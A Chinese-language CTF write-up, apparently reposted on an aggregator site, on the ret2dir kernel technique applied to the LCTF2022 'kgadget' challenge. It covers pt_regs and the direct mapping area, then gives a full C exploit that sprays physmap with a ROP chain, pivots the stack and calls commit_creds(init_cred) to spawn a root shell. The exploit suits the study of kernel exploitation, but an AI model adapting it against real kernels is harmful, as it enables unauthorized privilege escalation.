Kernel pwn 入门 (3)

这篇具有很好参考价值的文章主要介绍了Kernel pwn 入门 (3)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

ret2dir

这是一种绕过SMAP/SMEP和PXN防护的攻击方式。利用内核空间的direct mapping area(起始位置为0xFFF8880000000000)。Linux对内存的访问采用的是多级页表的方式,将某段物理内存映射到程序的虚拟内存空间中的某段地址。而在Linux内核空间中,还存在着direct mapping area这块区域,对于物理映射到用户态内存的所有物理内存地址,在这里都能够进行访问,即用户态的每一页被映射的内存空间在这里也一样能够访问,二者访问同一块物理内存空间。

至于具体的利用方式是如何,还是看题目最为直接。主要参考资料与题目来源

LCTF2022-kgadget

Kernel pwn 入门 (3)

ioctl函数分析

首先找到ioctl函数,只有一个指令码114514有意义。其中有一个qmemcpy函数,这里的反汇编有一些问题,我们还是找到汇编来仔细看看。

Kernel pwn 入门 (3)
这里提到了一个结构体pt_regs,我们来看下这是个什么东西。

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
	unsigned long r15;
	unsigned long r14;
	unsigned long r13;
	unsigned long r12;
	unsigned long rbp;
	unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
	unsigned long r11;
	unsigned long r10;
	unsigned long r9;
	unsigned long r8;
	unsigned long rax;
	unsigned long rcx;
	unsigned long rdx;
	unsigned long rsi;
	unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
	unsigned long orig_rax;
/* Return frame for iretq */
	unsigned long rip;
	unsigned long cs;
	unsigned long eflags;
	unsigned long rsp;
	unsigned long ss;
/* top of stack page */
};

看上去像是寄存器组。查询相关资料与源码后,渐渐地才搞清楚来龙去脉。

首先要清楚的是,用户态程序和内核进行交互的最重要的方式就是系统调用。系统调用就是内核开放给用户程序的一个个接口。在每一次触发系统调用时,Linux都会从用户态转为内核态。在转换的过程中,内核会创建一个自己的栈空间,而不会使用用户态的栈空间。

下面是x86-64位下的THREAD_SIZE值声明,其值应该为页大小左移2位,即16KB。

#ifdef CONFIG_KASAN
#define KASAN_STACK_ORDER 1
#else
#define KASAN_STACK_ORDER 0
#endif

#define THREAD_SIZE_ORDER	(2 + KASAN_STACK_ORDER)
#define THREAD_SIZE  (PAGE_SIZE << THREAD_SIZE_ORDER)

提到pt_regs,就必须要说task_struct结构体,这是Linux系统的PCB(进程控制块),保存有一个进程的所有信息(父子进程、时间、状态等),具体的分析参见资料。其中有一个void*类型的字段stack,存放的就是线程的栈起始地址。通过下面的函数我们可以找到这个线程的pt_regs:

static inline void *task_stack_page(const struct task_struct *task)
{
	return task->stack;
}
......
#define task_pt_regs(task) \
({									\
	unsigned long __ptr = (unsigned long)task_stack_page(task);	\
	__ptr += THREAD_SIZE - TOP_OF_KERNEL_STACK_PADDING;		\
	((struct pt_regs *)__ptr) - 1;					\
})

这里的THREAD_SIZE就是栈的大小16KB,后面的TOP_OF_KERNEL_STACK_PADDING取0,也即往上加16KB之后减去一个pt_regs的大小就是线程的pt_regs结构体的位置。

好,现在我们再回到这道题目上面来。还是这张图,在0x155的lea指令就将rdx的值赋值为了pt_regs的地址值。我们通过上面的pt_regs结构体声明可以计算一下这个结构体的大小,应该为0xA8字节(unsigned long占8字节),因此此时的rax-0xA8就是pt_regs的起始地址。然后这里是将其中的7个属性值全部赋值为无效值,查看pt_regs结构体发现实际上就是销毁了r15,r14,r13,r12,r11,rbp,r10这5个寄存器的值,仅仅保留后面的r9、r8和其他系统调用必需的寄存器。这也与题目中printk打印出来的字符串提示相吻合,只有r8和r9寄存器可用。至于具体用来干嘛,后面再看。

Kernel pwn 入门 (3)
Kernel pwn 入门 (3)

在printk之后,指令call __x86_indirect_thunk_rbx实际上等同于call rbx

release函数分析

Kernel pwn 入门 (3)
在release函数中有一个raw_spin_lock函数调用,这是一个自旋锁,用于在底层处理多线程或多进程访问同一个对象的竞争问题。与本题的关系不大,深入的分析参见资料。

之后还有一个pv_ops,使用IDA打开vmlinux之后发现这是一个函数指针数组。其第85个元素指向__raw_callee_save___native_queued_spin_unlock函数,应该也是和内核的互斥锁有关,这里不进行详细分析。

open、read、write函数与release函数基本上差不多,不做分析。看来对我们有用的就只有ioctl函数了。

漏洞利用

顺便提一句,这道题的bzImage坑了我两天时间,用Linux官方的extract_vmlinux没有办法解压成vmlinux,直到安装了vmlinux-to-elf之后才得以解决,原来这个bzImage是用zstd压缩的,必须安装zstd包才能解压。。。。。。

本题的ioctl函数中实际上是将传入的第三个参数作为函数指针,在内核中执行。而要知道本题开启了SMEP保护,因此不能传入一个用户态的指针,而应该是内核态指针。

前面我们提到了direct mapping area这块内核空间,其能够与用户态访问相同的物理地址空间,因此我们可以利用这块空间,在用户态布置好ROP,然后让内核访问这里的空间,就相当于是执行用户态中的ROP。但是话说回来,我们不知道具体哪一块用户态地址和哪一块内核地址指向相同,这就需要我们使用滑梯(slider)这种手段了,通过大量的无效ROP来提升我们攻击成功的概率。

Step 1: 硬编码函数地址
#!/bin/sh
qemu-system-x86_64 \
        -m 256M \
        -cpu kvm64,+smep,+smap \
        -smp cores=2,threads=2 \
        -kernel bzImage \
        -initrd ./rootfs.cpio \
        -nographic \
        -monitor /dev/null \
        -snapshot \
        -append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
        -no-reboot

上面是起qemu的命令,可以看到有nokaslr选项,说明没有开启kaslr,我们通过vmlinux就可以获取到关键函数的内核地址。

const u_int64_t commit_creds = 0xFFFFFFFF810C92E0;
const u_int64_t prepare_kernel_cred = 0xFFFFFFFF810C9540;
Step 2: 申请大空间

接下来,我们需要申请很大的空间,存放ROP链。这里每一次申请大小均为一页的大小,其中mmap函数fd参数为-1表示不需要文件描述符,以匿名的方式分配空间。

map_spray[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
Step 3: 填充空间

我们使用ROP来填充分配到的所有空间,经过ROPgadget查询发现,没有mov rdi, rax; ret这样的gadget,因此我们无法使用commit_creds(prepare_kernel_cred(NULL))来提权,因为内部函数的执行结果保存在rax中,必须要将其转移到rdi才行,这里没有这个gadget,那我们就换一种方式:commit_creds(init_cred),这里的init_cred在.data段,就是表示root权限的creds结构体。之后我们需要正常返回到用户态中,这里原文使用的是一个函数swapgs_restore_regs_and_return_to_usermode。通过函数名我们可以知道这是一个保存pt_regs结构并且返回到用户态的函数。至于为什么不能像前面两道题那样分别将swapgsiretq的gadget保存在ROP中,猜测是因为这个vmlinux中没有iretq; ret这样的gadget。

可以看到下图中,函数一开始将寄存器基本上全pop了一遍,因为正常情况下调用这个函数的时候栈中只剩下pt_regs这个结构体,因此这是将结构体中保存的寄存器值再弹出到寄存器中。由于我们这里是伪造的ROP,因此不需要前面的pop,直接返回到第一个非pop语句即可。

Kernel pwn 入门 (3)
Kernel pwn 入门 (3)
上图红框的部分有两个pop指令,需要我们在ROP链中再添加两个无效的值,这也算是ROP到这个函数的一个基本的姿势了。之后只需要跟上我们先前在save_status中保存的值就可以了。

void makeROP(size_t* space){
    int index = 0;
    for(; index < page_size / 8 - 0x10; index++)
        space[index] = ret;
    space[index++] = poprdi_ret;
    space[index++] = init_cred;
    space[index++] = commit_creds;
    space[index++] = swapgs_restore_regs_and_return_to_usermode;
    space[index++] = 0xdeadbeefdeadbeef;
    space[index++] = 0xdeadbeefdeadbeef;
    space[index++] = *(size_t*)getShell;
    space[index++] = user_cs;
    space[index++] = user_rflags;
    space[index++] = user_sp;
    space[index] = user_ss;
}
Step 4: 构造栈迁移

我们的ROP链都是在用户空间编写的,能够映射到内核空间的某个地方,但是要执行这些ROP还需要我们将栈引导到这些内核映射区中。这就要使用到ioctl函数中的地址执行功能了,可以让函数指针指向一个能为rsp赋值的gadget,可以进行栈迁移。

需要注意的是,本题的栈迁移构造条件还是较为苛刻的,我们计划将函数指针赋值为一个可能指向我们spray ROP的地址,在其中写入能够add rsp的gadget,这样能够让内核的栈指针指向pt_regs结构,在pt_regs结构中我们只能利用r9和r8这两个寄存器构造ROP,在这两个寄存器中我们需要构造一个栈迁移,即写入诸如pop rsp这一类的gadget。经过测试发现,对于第一步的add rsp,我们构造的ROP距离rsp有0xC0,而有一个gadgetadd rsp, 0xA0; pop rbx; pop r12; pop r13; ret刚好满足我们的要求。使用这个gadget可以让我们成功进行栈迁移。

至此,所有的逻辑都已经清晰可见。其本质就是栈迁移到我们构造的地址,只是利用了direct mapping area这个区域的特性而已。

最终的exp:文章来源地址https://www.toymoban.com/news/detail-463703.html

//
// Created by root on 22-7-7.
//
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <sys/mman.h>

const size_t commit_creds = 0xFFFFFFFF810C92E0;
const size_t init_cred = 0xFFFFFFFF82A6B700;
const size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81C00FB0 + 0x1B;
const size_t ret = 0xFFFFFFFF810001FC;
const size_t poprdi_ret = 0xffffffff8108c6f0;
const size_t poprsp_ret = 0xffffffff811483d0;
const size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
long page_size;
size_t* map_spray[16000];
size_t guess;
int dev;

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status();
void print_binary(char*, int);
void info_log(char*);
void error_log(char*);
void getShell();
void makeROP(size_t*);

void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    info_log("Status has been saved.");
}

// this is a universal function to print binary data from a char* array
void print_binary(char* buf, int length){
    int index = 0;
    char output_buffer[80];
    memset(output_buffer, '\0', 80);
    memset(output_buffer, ' ', 0x10);
    for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){
        char temp_buffer[0x10];
        memset(temp_buffer, '\0', 0x10);
        sprintf(temp_buffer, "%#5x", index);
        strcpy(output_buffer, temp_buffer);
        output_buffer[5] = ' ';
        output_buffer[6] = '|';
        output_buffer[7] = ' ';
        for(int j=0; j<16; j++){
            if(index+j >= length)
                sprintf(output_buffer+8+3*j, "   ");
            else{
                sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
                if(!isprint(buf[index+j]))
                    output_buffer[58+j] = '.';
                else
                    output_buffer[58+j] = buf[index+j];
            }
        }
        output_buffer[55] = ' ';
        output_buffer[56] = '|';
        output_buffer[57] = ' ';
        printf("%s\n", output_buffer);
        memset(output_buffer+58, '\0', 16);
        index += 16;
    }
}

void error_log(char* error_info){
    printf("\033[31m\033[1m[x] Fatal Error: %s\033[0m\n", error_info);
    exit(1);
}

void info_log(char* info){
    printf("\033[33m\033[1m[*] Info: %s\033[0m\n", info);
}

void success_log(char* info){
    printf("\033[32m\033[1m[+] Success: %s\033[0m\n", info);
}

void getShell(){
    info_log("Ready to get root......");
    if(getuid()){
        error_log("Failed to get root!");
    }
    success_log("Root got!");
    system("/bin/sh");
}

void makeROP(size_t* space){
    int index = 0;
    for(; index < (page_size / 8 - 0x30); index++)
        space[index] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
    for(; index < (page_size / 8 - 0x10); index++)
        space[index] = ret;
    space[index++] = poprdi_ret;
    space[index++] = init_cred;
    space[index++] = commit_creds;
    space[index++] = swapgs_restore_regs_and_return_to_usermode;
    space[index++] = 0xdeadbeefdeadbeef;
    space[index++] = 0xdeadbeefdeadbeef;
    space[index++] = (size_t)getShell;
    space[index++] = user_cs;
    space[index++] = user_rflags;
    space[index++] = user_sp;
    space[index] = user_ss;

    print_binary((char*)space, page_size);
}

int main(){
    save_status();

    dev = open("/dev/kgadget", O_RDWR);
    if(dev < 0)     // failed to open key device, an unexpected error
        error_log("Cannot open device \"/dev/kgadget\"!");

    page_size = sysconf(_SC_PAGESIZE);      // the size of a page, namely 4096 bytes

    info_log("Spraying physmap......");

    map_spray[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    makeROP(map_spray[0]);

    for(int i=1; i<15000; i++){
        map_spray[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if(!map_spray[i])
            error_log("Mmap Failure!");
        memcpy(map_spray[i], map_spray[0], page_size);
    }

    guess = 0xffff888000000000 + 0x7000000;

    info_log("Ready to turn to kernel......");

    __asm__("mov r15, 0xdeadbeef;"
            "mov r14, 0xcafebabe;"
            "mov r13, 0xdeadbeef;"
            "mov r12, 0xcafebabe;"
            "mov r11, 0xdeadbeef;"
            "mov r10, 0xcafebabe;"
            "mov rbp, 0x12345678;"
            "mov rbx, 0x87654321;"
            "mov r9, poprsp_ret;"
            "mov r8, guess;"
            "mov rax, 0x10;"
            "mov rcx, 0x12345678;"
            "mov rdx, guess;"
            "mov rsi, 0x1bf52;"
            "mov rdi, dev;"
            "syscall;"
            );
    return 0;
}

到了这里,关于Kernel pwn 入门 (3)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0

    第一次遇见整数溢出的题目,值得记录一下(虽然这里的整数溢出很简单 目录 前言 一、整数溢出 二、解题思路 1.ELF/checksec查看保护 2.IDA反汇编 3.整数溢出  4.exp编写 总结 整数溢出漏洞——对于有/无符号数,长/短位宽转换时机器码的变换策略所指。 如果一个整数用来计算

    2024年02月06日
    浏览(41)
  • kernel pwn入门

    Linux Kernel 介绍 Linux 内核是 Linux操作系统的核心组件,它提供了操作系统的基本功能和服务。它是一个开源软件,由Linus Torvalds 在 1991 年开始开发,并得到了全球广泛的贡献和支持。 Linux内核的主要功能包括进程管理、内存管理、文件系统、网络通信、设备驱动程序等。它负

    2024年02月12日
    浏览(43)
  • Kernel pwn 入门 (3)

    这是一种绕过SMAP/SMEP和PXN防护的攻击方式。利用内核空间的direct mapping area(起始位置为0xFFF8880000000000)。Linux对内存的访问采用的是多级页表的方式,将某段物理内存映射到程序的虚拟内存空间中的某段地址。而在Linux内核空间中,还存在着direct mapping area这块区域,对于物理

    2024年02月06日
    浏览(41)
  • CTF学习笔记——ret2text

    ret2text 应该算是PWN里面比较简单的题型了,这种题型有个显著特征,就是会有个很明显的后门函数,也就是 system(\\\"/bin/sh\\\") ,我们只需要将我们的程序跳转到后门函数即可。不过我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是

    2024年02月04日
    浏览(52)
  • 华科信息系统安全作业: 利用ret2libc实现控制流劫持

            main()函数分析         要进行劫持的目标程序如下          主程序这里三段代码的功能都是进行简单的安全防护           我们可以找到 geteuid() 与 setreuid() 函数的相关解释,简单来说,euid(有效用户)是创建程序的用户id,uid(真实用户)是运行程序过

    2024年02月04日
    浏览(33)
  • 【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

    Ret2libc:Return to libc,顾名思义,就是通过 劫持控制流使控制流指向 libc 中的系统函数,从而实现打开shell等其他工作。 在本次作业中,我们的目标是通过运行stack.c程序来访问系统上的/tmp/flag程序的内容,其中,可以看到stack.c的程序的源代码如下:         其中不难发现rea

    2024年02月04日
    浏览(32)
  • Kernel-Pwn-FGKASLR保护绕过

    FGASLR(Function Granular KASLR)是KASLR的加强版,增加了更细粒度的地址随机化。因此在开启了FGASLR的内核中,即使泄露了内核的程序基地址也不能调用任意的内核函数。 在fgkaslr.c文件中存在着随机化的明细。 通过上述代码分析可知 符号节区不进行细粒度的地址随机化 第一个

    2024年02月13日
    浏览(34)
  • Kernel Pwn基础教程之 Double Fetch

    Double Fetch是一种条件竞争类型的漏洞,其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差,我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy_from_user,而如果要拷贝的数据过于复杂的话则内核会选择引用其指针而将数据暂存

    2024年02月08日
    浏览(39)
  • 一种新的姿势:程序try/catch抛出异常之绕过canary pwn121

    一种新的姿势:程序try/catch抛出异常之绕过canary 我前面发了不少关于绕过canary的姿势,先总结一下,现在绕过canary的姿势有泄露,爆破,格式化字符串绕过,多线程劫持TLS绕过, stack_smashing,数组越界,今天介绍一种新的姿势,就是程序处理异常时,如果异常被上一个函数的

    2024年04月13日
    浏览(41)
  • 亚马逊宣布推出Rufus,这是一种新的由生成式AI驱动的对话式购物体验

      深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领域的领跑者。点击订阅,与未来同行! 订阅:https://rengongzhineng.io/ 。  亚马逊今天宣布推出Rufus,一款基于生成式人工智能

    2024年02月20日
    浏览(54)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包